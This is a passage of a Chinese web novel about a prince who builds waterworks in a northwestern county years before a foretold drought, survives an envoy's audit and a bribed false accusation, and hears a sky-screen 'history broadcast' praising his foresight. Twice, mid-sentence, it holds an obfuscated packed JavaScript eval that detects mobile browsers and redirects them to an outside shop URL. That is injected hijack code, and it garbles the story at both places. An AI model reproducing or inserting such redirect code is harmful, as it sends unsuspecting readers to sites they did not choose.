鄞州的这点变化,像一颗投入平静湖面的石子,涟漪慢慢荡开。附近州县的官员,有的嗤之以鼻,觉得九皇子就如天幕所言,是闲得发慌,拿钱粮打水漂;有的则悄悄派人来打听,看看他搞出来的这些法子,到底有什么名堂。 消息也传回了京城。 这一日的朝会,气氛有些奇特。西北暂无灾情的奏报刚刚念完,便有御史出列,矛头直指鄞州。 “陛下,”御史声音朗朗,“九皇子驻跸鄞州,已有数月。臣闻其大兴土木,修塘挖渠,耗费国帑以万计。然西北如今并无旱蝗之灾,此等作为,岂非无的放矢?更遑论其以皇子之尊,行事类同匠作吏员,有损天家威仪。臣以为,当予以申饬,令其收敛,以待真正有事之时,再行举措不迟。” 这番话,引起了一些保守臣僚的低声附和。是啊,没灾你折腾什么?钱多得没处花吗? 龙椅上的景和帝,脸上看不出喜怒。他目光扫过班列中垂首肃立的太子、二皇子等人,最后看向兵部尚书杨继盛:“杨卿,你掌兵部,熟知边情。你看安王在鄞州所为,是无的放矢吗?” 杨继盛出列,拱手道:“回陛下,臣近日查阅边防文书,兼听边镇奏报。安王在鄞州,修水利、劝农桑、训工匠、明账目,所做诸事,虽非直接御敌,却件件关乎边防根本。边镇之稳,首在粮秣,次在民心。鄞州之法,若能成,则地增产,民安居,就近可为边军提供部分粮草补给,更可收拢流散人口,充实边陲。此乃固本培元之策,非为应对一时之灾,实为预防长远之患。臣以为,不但不应申饬,反应斟酌情形,予以支持。” “预防长远之患?”那御史不服,“天幕预言大旱流民,乃是十数年后之事!如今便如此靡费,岂非杞人忧天?” “杞人忧天?”一个洪亮的声音响起,镇远侯郭振大步出列,他武人出身,最烦这些文绉绉的扯皮,“老子带兵一辈子,就知道一个理儿:平时多流汗,战时少流血!等真他妈旱得地里冒烟、人饿得眼睛发绿的时候,你再修渠?再种粮?屁都赶不上热的!九皇子这叫有远见!趁着太平年景,把该挖的沟渠挖好,该找的耐旱种子找好,该练的工匠练好,真到了那天幕说的鬼日子,咱们手里有粮,心里不慌!这道理,你们这些天天之乎者也的书呆子懂个卵!” 一番粗话,掷地有声。殿中不少武将出身的官员,暗暗点头。文官群里则脸色各异,有尴尬,有不忿,也有深思。 皇帝抬手,止住了还想争辩的御史。他缓缓道:“郭卿话糙理不糙。天幕预警,示我以未来之险。若因险在十数年后,便今日高枕无忧,岂非愚不可及?安王在鄞州,便是朕布下的一枚先手棋。 此棋不求当下攻城略地,但求深耕厚植,以待天时。其耗费,朕心里有数。然若能以此换来西北一隅之长治久安,这钱粮,便花得值。” 他目光转向户部尚书钱谦益:“钱卿,国库虽不丰,然该支应的,还是要支应。今岁漕粮北运后,可按安王所请,再拨三万石常平仓陈粮至鄞州,充作水利民夫口粮及种子借贷之本。另,准其在西北各州县,平价采买工程物料,地方不得阻拦抬价。” “臣……遵旨。”钱谦益躬身应下。皇帝态度明确,他自然不敢再作梗。 “至于体统威仪,”皇帝声音微沉,“皇子与民共劳,亲历稼穑之艰,知晓物力之贵,此乃体察民情,何损威仪?难道高高在上、不识五谷,才是天家体统?此事无需再议。” 一锤定音。 退朝后,消息灵通之人,已飞快地将朝会风向传了出去。 东宫,太子殷理听完幕僚复述,轻轻拨弄着茶盏盖。 “预防长远之患……固本培元……”他喃喃重复,“老九这一步,走得倒是又稳又深。不争一时之功,只埋长远之根。父皇看来,是极为赞许的。” 幕僚低声道:“殿下,九皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“殿下,”李九章走过来,低声道,“按您的意思,将‘借地垦荒’的章程简化成口诀和图画,请说书先生在茶寮市集讲了三天,反响不错。已有十几户流散过来的外地人,打听如何落户借地了。” “规矩要严,审查要细。”殷澈看着那些专注听讲的年轻面孔,“宁缺毋滥。我们要的,是真心想在此地扎根过日子的人。第一批,控制在三十户以内。每户的借贷契约、耕种计划,都要你亲自过目核准。” “属下明白。” 风吹过院子,带着泥土和青草萌芽的气息。远处,李家庄水塘的方向,隐约传来夯土的号子声。 天幕预言的那场大旱还很遥远。 殷澈知道,他所做的一切,都不是为了应对迫在眉睫的危机,而是在危机到来之前,尽可能多地埋下种子——耐旱的作物种子,水利设施的种子,工匠技艺的种子,规范管理的种子,还有……人心的种子。 这些种子现在看起来微不足道,需要漫长的生长,需要精心的呵护。 但或许,当十数年后那场预言的旱魃真正降临时,这片土地上,已经悄然生长出了一片能够抵御风沙的绿荫。 而他要的,就是这份“未雨绸缪”的扎实。 22.【景和二十四年】 院门外传来急促的脚步声,打断了殷澈与沈墨关于引水渠坡度的讨论。 小德子跑进院子,脸色有些发白:“殿下,京城来的急报。” 殷澈接过密信。封蜡完整,是御前专用的纹样。他拆开信,目光扫过字迹,眉头渐渐皱了起来。 信中只有短短几行,却透着一股山雨欲来的压抑。 “钦差刘宗敏奉旨西巡,彻查西北各州县仓储亏空及近年赋税账目。三日后抵鄞州。诸事谨慎,勿授人以柄。——王德安” 王德安不会无缘无故来这么一封提醒。 “刘宗敏……”殷澈低声念着这个名字。 “殿下,此人是谁?”沈墨问。 “都察院左佥都御史。”殷澈将信纸在烛火上点燃,“以铁面无私著称。去岁在江南查盐税,一口气罢了三个知府,抄了七个盐商的家。父皇这次派他来,是要动真格的了。” 小德子担忧道:“那咱们这边……” “咱们的账目,每一笔都有据可查,每一笔都公开张贴。”殷澈语气平静,“怕的不是查账,是有人借查账生事。” 他主动西北,皇帝信他,兄弟服他。 但是谁都没忘记天幕说的话,最后坐在皇位上的那个人,是他,殷澈。 他走到窗边,望向暮色渐沉的鄞州城。几个月来,这里好不容易有了点起色——水渠挖了,荒地开了,工匠学徒收了,逃散的人口也慢慢聚拢回来一些。 可京城的眼睛从未真正移开过。太子、二皇子、五皇子,还有那些被动了利益的西北本地官员……谁都不希望他在这里站稳脚跟。 刘宗敏这把刀,握在皇帝手里。但挥刀的方向,却可能被无数双手暗中牵引。 “传话下去。”殷澈转身,“所有账册文书,连夜整理。工程记录、物资出入、工分发放、借地契约,一样都不能少。李九章那边,让他把总账再核三遍。” “是!”小德子应声。 “还有,”殷澈顿了顿,“告诉赵师傅他们,这几日工地上一切照常,该挖渠挖渠,该修坝修坝。越是有人要来查,越要做出踏实干活的样子。” 沈墨点头:“殿下放心,李家庄那边第二道蓄水坝明日就能合龙,张家沟的风力提水车也装好了第一架,都是看得见的实绩。” “实绩要看,账也要查。”殷澈道,“刘宗敏若真是铁面无私,咱们这些明账反而能让他看个清楚。怕就怕……” 怕就怕查账只是个幌子。 三天后,午时刚过。 鄞州县城外尘土飞扬。一队约五十人的队伍出现在官道上,清一色的皂衣差役,中间簇拥着一辆青帷马车。车帘掀开,走下个四十来岁的官员,面容清癯,目光锐利,正是钦差刘宗敏。 鄞州县令吴大人早已率众在城门外恭候,额头冒汗,躬身行礼:“下官鄞州县令吴有德,恭迎钦差大人。” 刘宗敏淡淡扫了他一眼,目光越过众人,落在随后赶来的殷澈身上。 殷澈今日穿了身半旧的棉袍,袖口还沾着些泥点子。他走上前,规矩行礼:“刘大人远来辛苦。” “九皇子殿下。”刘宗敏拱手还礼,语气不卑不亢,“下官奉旨巡查西北仓储赋税,途径鄞州,需在此盘桓数日。叨扰了。” “刘大人奉旨办差,自当全力配合。”殷澈侧身,“请。” 一行人进了县城。街道比几个月前干净了些,两侧有些铺面开了张,偶尔能看见挑着担子卖菜的农人。虽依旧萧条,却多了点活气。 刘宗敏边走边看,不发一言。 县衙早已收拾出专门的院落供钦差一行居住。刘宗敏安顿下后,第一件事就是召见吴县令。 “吴大人,鄞州县近年仓储账册、赋税征缴记录、官仓盘点清册,即刻送来。”刘宗敏坐在临时布置的公案后,开门见山。 “是、是,下官这就去取。”吴县令擦着汗退下。 不到半个时辰,几口大木箱被抬进院中。账册堆了半人高,尘土味扑鼻。 刘宗敏带来的两名户部出身的随行主事立刻上前,开始翻阅。 这一翻,就是整整两天两夜。 院内的灯火通宵达旦。算盘声、翻页声、低语声几乎没停过。刘宗敏本人也时常亲自核对,遇到疑点便用朱笔勾出,次日再唤相关吏员询问。 消息传到殷澈耳中时,他正在工地上看新制的播种耧车试田。 “刘大人查得极细。”小德子低声道,“连三年前征粮时淋雨霉变的三十石陈谷都要追问去处。吴县令这两日瘦了一圈,说话都打颤。” “让他查。”殷澈看着耧车在田垄间划出笔直的沟,“鄞州历年亏空是事实,吴县令有责任,但根子在更上面。刘宗敏若真想揪,就该顺着藤往上摸。” 第四天上午,刘宗敏派人来请殷澈。 院内的公案上摊满了账册。刘宗敏坐在案后,眼下有淡淡的青黑,精神却依旧矍铄。 “九皇子。”他抬手示意殷澈坐下,“下官查阅鄞州近年账目,亏空触目惊心。去岁账上存粮应有八千石,实际仓内不足四千。前年修筑官道款项,拨银五千两,工程只做了三成。此类种种,不一而足。” 殷澈安静听着。 “然,”刘宗敏话锋一转,“自腊月起,鄞州账目忽然清晰齐整。每笔支用皆有明细,工程进度、物资消耗、人工发放,记录之详尽,为下官巡查数州县仅见。”他抬起眼,目光锐利,“听闻这些新规,皆出自殿下之手?” “是。”殷澈坦然道,“本王奉旨试行新法,首重账实相符、过程留痕。每一文钱、每一粒粮,来去都要有凭据。” “那殿下可知,”刘宗敏从案头抽出一册账本,推到殷澈面前,“腊月时,鄞州为修缮县学,从常平仓借调陈谷二百石,折价变卖后购砖木。此事账上有载,然据下官查问,当时县学并未大修,只是补了几处漏瓦。所购砖木,实际用在了李家庄蓄水坝基。” 殷澈接过账册,翻到那一页。记录确实如此。 “确有此事。”他合上账册,“当时水坝开工在即,石料短缺。县学修缮本就有预算,暂调部分用于应急。事后已从工程款中拨还,并补记了往来。刘大人可查后续账目。” 刘宗敏沉默片刻,对身旁主事点点头。主事很快找来另一册账本,翻到某页。 “腊月二十三日,工程款入账,列支‘补县学借粮折银’。数目相符。”主事念道。 刘宗敏脸上的神色缓了缓:“账目能圆上,便好。然此等腾挪,终非正途。殿下身份特殊,更当谨言慎行,以免落人口实。” “刘大人提醒的是。”殷澈道,“当时事急从权,今后绝不再犯。” 正说着,院外忽然传来喧哗声。 一个差役匆匆进来:“大人,衙门外聚集了数十百姓,说要见钦差大人。” 刘宗敏眉头一皱:“所为何事?” “说……说是要状告九皇子强占民田、苛派劳役。” 院内瞬间安静。 殷澈面色不变,只是手指在膝上轻轻敲了一下。 刘宗敏深深看了他一眼,起身:“升堂。” 县衙正堂,刘宗敏坐在主位,殷澈坐在一侧旁听。 堂下跪着二十多人,男女老少皆有,个个衣衫破旧,面有菜色。领头的是个五十来岁的干瘦老头,自称是城西十里铺的里正。 “青天大老爷啊!”老头砰砰磕头,“九皇子来了之后,说是修渠引水、借地垦荒,可实际是变着法儿占咱们的地啊!咱们村三十几户人家,被划进去二十多亩好地修水渠,补偿的却是北坡的荒地,那地方连草都不长!还有,家家户户要出劳力,不去就罚钱,去了也只给点稀粥糊口……这、这还让不让人活了啊!” 他身后众人跟着哭诉,一片凄惶。 刘宗敏面色沉静,等他们说完,才开口:“你们所说,可有凭据?地契文书何在?派工记录何在?” 老头一愣,支吾道:“地契……地契还在家里。派工都是口头说的,哪有什么记录……” “既无凭据,何以告状?”刘宗敏语气转冷,“安王殿下推行之法,本官已查阅账册。借地垦荒,皆有契约,言明三年免租,三年后按成约分。修渠占地,按市价补偿,或换地或折银,皆有记录可查。派工以工代赈,每日管两餐,另计工分,可换口粮或银钱,账目每月张贴公示——这些,你们可曾看过?” 堂下众人面面相觑,有人低下头。 “本官再问,”刘宗敏目光扫过众人,“你们之中,谁家真正签过借地契约?谁家领过占地补偿?谁在工地上干过活、领过工分?” 一片沉默。 那老头额头上冒出冷汗,颤声道:“大人……小老儿、小老儿也是听别人说的……” “听谁说的?”刘宗敏追问。 老头张了张嘴,没敢出声。 堂上一时寂静。殷澈忽然开口:“刘大人,可否容我问几句?” 刘宗敏点头。 殷澈起身,走到堂下。他没有看那老头,而是看向人群中几个眼神躲闪的年轻人:“你们几个,是十里铺的人?” 那几个年轻人缩了缩脖子,不答话。 “十里铺在城西,李家庄、张家沟的工程在城北城南。”殷澈语气平和,“你们若真在工地上干过活,每日往返少说两个时辰。我问你们——工地上卯时点名,辰时开工。你们今早是何时从家出发的?走哪条路?” 几个年轻人脸色变了。 “还有,”殷澈继续道,“工地上分三队,每队队长是谁?昨日挖渠,用的是铁镐还是木锹?收工时工分牌是什么颜色?” 堂下鸦雀无声。 刘宗敏冷笑一声:“好一个‘听别人说的’。来人,将这几个诬告滋事的,押下去仔细审问,看看背后是谁指使!” 差役应声上前。那老头吓得瘫软在地,连声求饶:“大人饶命!大人饶命!是、是有人给了小老儿二两银子,让小的带人来闹一闹……说只要把事情闹大,钦差大人就会把九皇子调走……小的鬼迷心窍,小的该死啊!” “何人指使?”刘宗敏厉声问。 “不、不认识……是个外乡口音的中年人,戴着斗笠,看不清脸……” 审问持续到傍晚。那几个年轻人挨不过刑,也陆续招了。指使者身份不明,但出手阔绰,许诺事成之后每人再给五两银子。 刘宗敏将供词扔在案上,对殷澈道:“殿下看到了。您在这鄞州动了太多人的饭食。仓储亏空要查,赋税积弊要清,还要修渠引水、垦荒劝农——这一件件,都是在砸某些人的锅。” “本王明白。”殷澈道。 “今日之事,下官会如实上奏。”刘宗敏看着他,“殿下推行新法,账目清晰,行事有据,这是长处。然树大招风,明枪易躲,暗箭难防。望殿下日后行事,更加周详。” “多谢刘大人提点。” 刘宗敏在鄞州又待了三日。这三天里,他亲自去了李家庄和张家沟,看了新修的水塘和正在安装的风力提水车;去了农技传习所,听沈墨讲解改良农具;去了县库,看李九章如何记录每一笔物资出入。 临行前夜,刘宗敏再次邀殷澈谈话。 这一次,不是在公堂,而是在县衙后院的石亭里。桌上摆着一壶粗茶,两碟点心。 “殿下,”刘宗敏斟了杯茶,“下官明日便启程往肃州。走之前,有几句话,不知当讲不当讲。” “刘大人请讲。” 刘宗敏望着亭外沉沉的夜色:“下官为官二十载,查过的案子不下百起。贪墨渎职,无非‘利’字当头。西北苦寒,官员俸禄微薄,仓场赋税便是最容易伸手的地方。历年积弊,早已盘根错节。殿下想在这里推行新法,清账目、兴水利、劝农桑——这些事本身没错,甚至是大功一件。” 他顿了顿:“可殿下想过没有,您清的是谁的账?动的是谁的利益?鄞州一县尚且如此,西北三州十数县,那些坐地多年的州县官、仓场吏、地方豪强,会眼睁睁看着您把这套法子铺开吗?” 殷澈沉默。 “今日有人买通地痞诬告,明日就可能有人在水渠里投毒,后日可能在账目上做手脚陷害。”刘宗敏语气沉重,“殿下身边这些人,沈墨、李九章、几位匠人,都是做实事的能手。可对付这些阴私手段,他们不够。” “刘大人的意思是?” “殿下需要能查事的人。”刘宗敏压低声音,“能看账、能问人、能挖根的人。陛下派下官来查仓储,是第一步。但下官终究是外来的钦差,查完就走。殿下若真想在这里长长久久地做事,身边得有自己信得过的耳目。” 殷澈心中微动:“刘大人可有人选?” 刘宗敏摇头:“下官久在都察院,认识的多是京官。西北这边……”他沉吟片刻,“不过,下官此行也听了些风声。据说兰州府有个退隐的老刑名师爷,姓贺,早年帮官府破过几桩大案,后来因得罪上官被革了职。此人精通刑名钱谷,三教九流都有些门道。殿下若有心,或可寻访。” “贺师爷……”殷澈记下了这个名字。 “还有,”刘宗敏从袖中取出一封密信,“这是下官离京前,王德安公公私下交给我的。嘱咐我若见殿下处境艰难,便转交。” 殷澈接过信。信很短,只有一句话: “京中流言渐起,谓殿下借赈灾之名,行聚众之实,图谋不轨。陛下未信,然众口铄金,慎之。” 落款是一个“安”字——王德安。 殷澈将信纸在灯焰上点燃,看着它化为灰烬。 “多谢刘大人。” “殿下保重。”刘宗敏起身拱手,“下官这趟差事,该查的会查,该报的会报。殿下在鄞州所为,账目清晰,成效初显,下官自当如实上奏。但——风暴将至,望殿下早做绸缪。” 第二日,刘宗敏带着队伍离开鄞州,继续西行。 殷澈站在城楼上,看着那队人马消失在黄土官道的尽头。 小德子站在他身后,低声道:“殿下,刘大人走了,咱们是不是能松口气了?” “松口气?”殷澈摇摇头,“他走了,真正的风浪才要开始。” 他转身下楼:“让沈墨、李九章、赵师傅他们都到我院里来。还有,派人去打听打听,兰州府是不是真有个姓贺的退隐师爷。” “殿下要找他?” “刘宗敏说得对。”殷澈脚步不停,“咱们会做事,但不会查事。这鄞州的账目能清,可人心里的账,谁替咱们清?” 他望向西北苍茫的天空。那里依旧晴朗,可隐隐的,已有雷声从遥远的天际传来。 *** 就在刘宗敏离开鄞州的第五天,傍晚时分。 天空毫无征兆地亮了起来。 不是落日余晖,是那种所有人都已熟悉的、柔和的、非自然的光,从高空洒下。 鄞州城内城外,田间地头,所有人都抬起头。 巨大的光幕在渐暗的天色中展开,横亘天际。 【哈喽各位观众朋友!欢迎回到《阿月说历史》直播间!】 那个充满活力的女声准时响起,【上期咱们聊了西北大旱与流民之乱的导火索,是不是觉得心情沉重?别急,今天咱们来点不一样的——看一个在绝境中开出花来的特例!】 光幕画面切换。出现的不是宫殿朝堂,而是一片干涸贫瘠的黄土丘陵。但在这片黄土中,竟点缀着几处绿意——是新修的水塘,是蜿蜒的水渠,是整齐的田垄。 【大家看这里!】女声带着兴奋,【这是后世考古学者在大胤西北鄞州遗址发现的惊人景象——在一个本该被旱灾摧毁的地区,竟然留下了相对完善的水利设施遗迹和规模化垦殖的痕迹!】 画面拉近,出现了考古现场的影像:清理出的石砌渠岸,保存完好的水闸基座,甚至还有几件改良农具的金属残件。 【更让人惊讶的是,】女声继续道,【根据同时出土的简牍记录,这些工程并非朝廷大规模组织的结果,而是由一个地方性的试点在旱灾爆发前数年,就开始逐步修建和完善的!】 画面中出现简牍的特写,上面是清晰的隶书: “鄞州县试行新法录:景和二十四年春,筑李家庄蓄水塘,灌田五十顷。夏,开张家沟引水渠,设风力提水车三架。秋,垦北坡荒地二百亩,试种耐旱黍种……” 【看时间!】女声提高音量,【这些工程,开始于景和二十四年——也就是史书记载的西北大旱爆发前整整十二年!】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014812|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【十二年啊朋友们!】女声感慨,【这意味着什么?这意味着,有人早在灾难来临的十多年前,就已经开始在这片土地上未雨绸缪,埋下抵御旱灾的种子!】 画面切换成对比图。 左半边是史书描述的旱灾惨状:赤地千里,流民塞道。右半边是根据遗迹还原的鄞州景象:塘有水,渠有流,田有苗。 【虽然最终因为整体灾情太过严重,鄞州一地的努力未能完全扭转大局,】女声语气转为郑重, 【但考古证据显示,在大旱最严重的几年,鄞州及周边地区的流民比例、饥荒程度,明显低于西北其他州县。这里的百姓,因为提前修建的水利和储备的耐旱粮种,多撑了至少一个耕种季,等到了部分朝廷赈济——这多出来的时间,救了成千上万人的命!】 弹幕开始滚动: 【我靠!这是谁干的?太有远见了吧!】 【景和二十四年……那时候哀帝才多大?还没登基吧?】 【所以这不是哀帝干的?那是谁?】 【鄞州试点……听起来像是个地方官搞的?】 【不管是谁,这操作真神了!提前十几年布局抗旱!】 【可惜啊,只有一个鄞州,要是整个西北都这么搞……】 女声适时接话:【是的,根据史料交叉印证,这个‘鄞州试点’的推动者,正是当时还是皇子的哀帝——殷澈。他在景和二十四年主动请缨赴西北,以鄞州为试验田,推行了一系列水利、农桑、工匠培训的新法。】 画面中出现了年轻皇子的画像,以及几张复原的工程草图。 【讽刺的是,】女声叹息, 【九皇子这些极具前瞻性的举措,在当时遭到了朝中大量非议。有人弹劾他‘靡费钱粮’,更有人散播谣言,说他借机聚众图谋不轨。】 【这些压力,加上西北本地官僚的阻挠,使得‘鄞州模式’始终未能推广开来。】 【最终,只有鄞州一地在哀帝的坚持下,艰难地完成了部分基础建设。而十二年后旱灾爆发时,其他地方毫无准备,唯独鄞州,靠着这些提前埋下的‘种子’,勉强撑住了一方天地。】 【历史没有如果,】女声做结语,【但我们不妨想象一下——如果当时哀帝的‘鄞州模式’能得到朝廷全力支持,在整个西北推广开来,那么十二年后那场大旱,会不会是另一番景象?那些饿殍遍野、流民百万的惨剧,是不是可以避免许多?】 【好了,本期《被掩埋的奇迹:鄞州试点》就讲到这里。咱们下期再见!】 光幕缓缓消散。 鄞州城内外,一片死寂。 田间劳作的农人停下了锄头,工地上夯土的民夫放下了石杵,县衙里的官吏瞪大了眼睛。 所有人都看着光幕消散的方向,久久回不过神。 原来……他们现在做的这些事,挖的渠、修的塘、种的耐旱粮,在“未来”真的救了成千上万人的命? 原来殿下早就知道会有大旱,所以才提前这么多年来这里做准备? 原来朝中还有人反对,还说殿下图谋不轨? 一道道目光,不约而同地投向县衙方向。那些目光里,有震惊,有恍然,更有一种沉甸甸的、之前从未有过的信服。 县衙后院,殷澈站在院中,仰头望着已恢复寻常的夜空。 他在心中叹了一口气,所以,就算没有天幕,他最后也会来到这片土地上吗? 沈墨、李九章、赵匠人等人围在他身边,个个脸色激动。 “殿下!”沈墨声音发颤,“天幕……天幕说的,是真的吗?咱们现在修的这些,在十二年后真的……” “是真的。”殷澈轻声说,“只不过,那是另一个未来。” 他转身看向众人:“在那个未来里,我们只做成了鄞州一地。而现在——”他目光扫过每一张脸,“我们要做的,不止是鄞州。” 小德子从外面跑进来,气喘吁吁:“殿下!外面、外面好多百姓围在衙门口,说要见您!” 殷澈整理了一下衣袍:“走,去看看。” 衙门外,黑压压站了上百人。有工地上的民夫,有附近村子的农户,有城里的商户。见到殷澈出来,人群安静了一瞬,然后不知谁带头,呼啦啦跪倒一片。 “殿下!”一个老农抬起头,老泪纵横,“小老儿原先还嘀咕,这大冬天的挖渠修塘有啥用……现在、现在明白了!殿下是在救咱们的命啊!” “殿下千岁!”有人高喊。 “咱们跟着殿下干!让修啥就修啥!” 声浪一阵高过一阵。 殷澈抬手,人群渐渐安静下来。 “乡亲们,”他的声音平稳有力,“天幕说的话,大家都听到了。旱灾会不会来,什么时候来,谁也不知道。但咱们现在挖的每一锹土,修的每一尺渠,种的每一粒耐旱种子——都是在给咱们自己,给咱们的子孙后代,多铺一条活路。” 他顿了顿:“这条路不好走。会有人骂咱们白费力气,会有人说咱们瞎折腾,甚至——会有人使坏,想阻止咱们。” 人群屏息听着。 “可今天,天幕告诉咱们,”殷澈提高声音,“这条路,走对了!提前十年修渠,就能多救一万条命!提前十年备荒,就能少十万流民!这个道理,咱们今天懂了,就要牢牢记住!” “记住!记住!”人群爆发出吼声。 “从今天起,”殷澈目光灼灼,“李家庄的塘,不仅要修好,还要修得更牢!张家沟的渠,不仅要挖通,还要挖得更远!耐旱的种子,不仅要试种,还要育出更适合咱们这片土地的苗!工匠学徒,不仅要教,还要教出能独当一面的师傅!” “咱们要让所有人看看——鄞州这块地方,不认命!咱们这些人,不等救!天灾还没来,咱们就先把抵抗天灾的本事,练出来!” “好!好!好!” 声浪震天,久久不散。 夜深了,人群渐渐散去。 殷澈回到院中,沈墨等人还等在那里,个个眼睛发亮。 “殿下,”李九章难得激动,“天幕这一播,咱们在鄞州的根基,算是稳了!” “稳了?”殷澈摇摇头,“恰恰相反,从今天起,咱们才真正站在了风口浪尖上。” 众人一愣。 “天幕认证了咱们在做的事‘未来’能救万人命。”殷澈缓缓道,“这固然是好事,能让百姓归心,能让咱们师出有名。可你们想想——那些不希望西北好起来的人,那些靠贪墨仓储、盘剥百姓过活的人,听到天幕这番话,会怎么想?” 沈墨脸色变了:“他们会……更恨殿下?” “不止是恨。”殷澈道,“他们会怕。怕咱们真把鄞州弄好了,这套法子推广开来,断了他们的财路。怕百姓真信了咱们,不再任他们拿捏。” 他望向北方,那是京城的方向:“还有朝中那些人。原本他们只当我在西北小打小闹,成不了气候。现在天幕告诉全天下,我做的事在‘未来’意义重大——你们猜,他们是会更支持我,还是会更想把我拉下来?” 院子里一片沉默。 “那、那咱们怎么办?”小德子声音发干。 “怎么办?”殷澈收回目光,眼神沉静,“该挖渠挖渠,该修坝修坝,该算账算账。天幕给咱们递了梯子,咱们就顺着梯子往上爬。爬得越高,站得越稳,那些想拽咱们下来的人,才越难够着。” 他看向李九章:“账册再加三本备份。一本人手一本,随身带着。账目每日核对,每旬公贴,每月呈报——咱们要干净得让任何人都挑不出错。” 看向沈墨:“水利规划图再细化。不仅要有总图,每个村子、每条渠、每座塘,都要有单独的分图、施工记录、验收文书——咱们要扎实得让任何人都无话可说。” 看向赵匠人:“工匠学徒的考核章程立起来。谁教谁学、学什么、学多久、学得怎么样,都要有记录,有评定——咱们要规范得让任何人都无法指摘。” 最后,他看向小德子:“去找那个贺师爷。多带银子,多带诚意。告诉他,鄞州需要一双能看透人心的眼睛,需要一个能挖出污秽的铲子——问他,愿不愿意来。” “是!”众人齐声应道。 夜更深了。 23.凉郡府 天幕关于“鄞州试点”的播报,像一块巨石投入平静湖面,涟漪从西北一直荡回京城。 最先坐不住的是户部右侍郎马文升——他是鄞州所在的凉郡府人,家族在西北经营数代,姻亲故旧遍布州县仓场。 马府书房,灯火通明到后半夜。 “天幕怎么会说这些!”马文升将茶盏重重顿在桌上,“之前还说是昏君......哀帝,现在搞出来什么‘鄞州模式’,什么‘未雨绸缪’——那九皇子去西北才几个月,弄出点动静,倒成了救世主了?” 下首坐着个幕僚,低声道:“大人息怒。天幕所言终究是未来之事,当不得真。只是……” “只是什么?” “只是百姓愚昧,信这个。”幕僚道,“鄞州那边传来消息,天幕播完后,当地百姓对九皇子几乎奉若神明。修渠的、垦荒的,劲头比之前更足了。连带着附近州县都有些人心浮动,有人私下议论,说咱们西北这些年穷,就是没遇上九皇子这样的贵人。” “贵人?”马文升冷笑,“他那是断人财路!查仓储、清账目、修水利——哪一件不是在动咱们的根基?现在好了,有天幕背书,他更名正言顺了。再让他折腾下去,西北这些州县官,还有几个能睡安稳觉?” 幕僚迟疑道:“可陛下那边……” “陛下?”马文升眼神阴郁,“陛下要整顿吏治,要防旱灾,这些咱们拦不住。但西北这么大,怎么整顿、怎么防灾,总得有个章程。九皇子那套法子,账目太细,规矩太多,真要推广开,咱们的人还怎么做事?” 他站起身,在书房里踱步:“刘宗敏那边有什么动静?” “刘钦差已离开鄞州往肃州去了。按行程,约莫半月后到凉郡府城。” “半个月……”马文升停下脚步,“够做准备了。通知下去,凉郡府辖下各州县,账目该补的补,该平的平。尤其是常平仓、义仓的存粮,务必在刘宗敏到之前,把数目对上。” “是。”幕僚应声,又犹豫道,“可九皇子在鄞州那套记账法子,实在太细。咱们仓里实际有多少粮,您也清楚,这数目……怕是难圆。” “难圆也得圆!”马文升咬牙,“实在不行,就去借,去买!先把眼前这关过了。至于九皇子——” 他望向窗外沉沉夜色:“他既然要在西北当‘救世主’,咱们就给他找点‘救世’的麻烦。” *** 鄞州,农技传习所。 院子比之前扩大了一倍,新搭了棚子,里面摆着各式农具模型、水利构件。二十几个年轻学徒正在沈墨指导下,学习测量渠坡坡度。 小德子从外面匆匆进来,附在殷澈耳边低语了几句。 殷澈眉头微皱:“确定是凉郡府来的人?” “确定。”小德子道,“咱们的人盯了两天,那几个人在城里转悠,专找工地上的民夫打听,问一天给多少工钱,问管不管饭,问工分能不能换银子。还悄悄去了李家庄水塘,在坝基附近转悠了好一阵。” “问了什么?” “问这塘能蓄多少水,问石料从哪儿买的,问监工的是谁。” 殷澈沉吟片刻:“让他们继续盯着。另外,从今天起,各工地加派巡夜人手,尤其是水塘、库房这些要紧地方。” “殿下是担心有人使坏?” “天幕这么一夸,想使坏的人只会更多。”殷澈道,“明枪易躲,暗箭难防。咱们越是要把事情做好,越得防着有人背后捅刀。” 正说着,院外传来马蹄声。一个风尘仆仆的汉子被领进来,正是之前派去兰州府打听消息的人。 “殿下,”汉子单膝跪下,“人找到了。” “贺师爷?” “是。贺老先生如今住在兰州城西,开了间小茶馆,兼替人写状纸、看风水。属下按殿下的吩咐,没敢直接上门,先在茶馆坐了三天,摸清了情况。” “怎么说?” “贺老先生今年六十有二,精神矍铄。早年确实在凉郡府衙当过刑名师爷,破过几桩大案。后来因为一桩盐税案,他查出知府的小舅子涉案,坚持要报上去,结果被知府寻个由头革了职。”汉子顿了顿,“属下打听时,茶馆里有个老客悄悄说,贺老先生手里可能还留着些当年的案卷底子,只是人微言轻,翻不了案。” “他日子过得如何?” “清贫。茶馆生意一般,写状纸也赚不了几个钱。有个儿子在南方经商,很少回来。老先生平日深居简出,唯独对西北各州县的旧案、人物关系,如数家珍。属下亲眼见有个外乡人来打听二十年前一桩土地纠纷,老先生不用翻记录,就把当年涉案的几家人、经手的官吏、判决的缘由,说得清清楚楚。” 殷澈眼睛亮了:“是个能人。” “只是,”汉子犹豫道,“属下去时,正好碰上凉郡府衙的一个书吏去喝茶,言语间对贺老先生颇为不敬,说他‘老顽固’、‘不识时务’。老先生只是笑笑,没理会。” “凉郡府的人常去?” “那书吏像是熟客,每月总要去一两回。属下暗地里问了茶馆伙计,伙计说,府衙里确实有人时不时来‘关照’,倒不是为难,就是让老先生‘安分些’。” 殷澈站起身,在院里踱了几步。 贺师爷手里有旧案底子,熟悉西北官场脉络,又因为正直被排挤——这正是他要找的人。 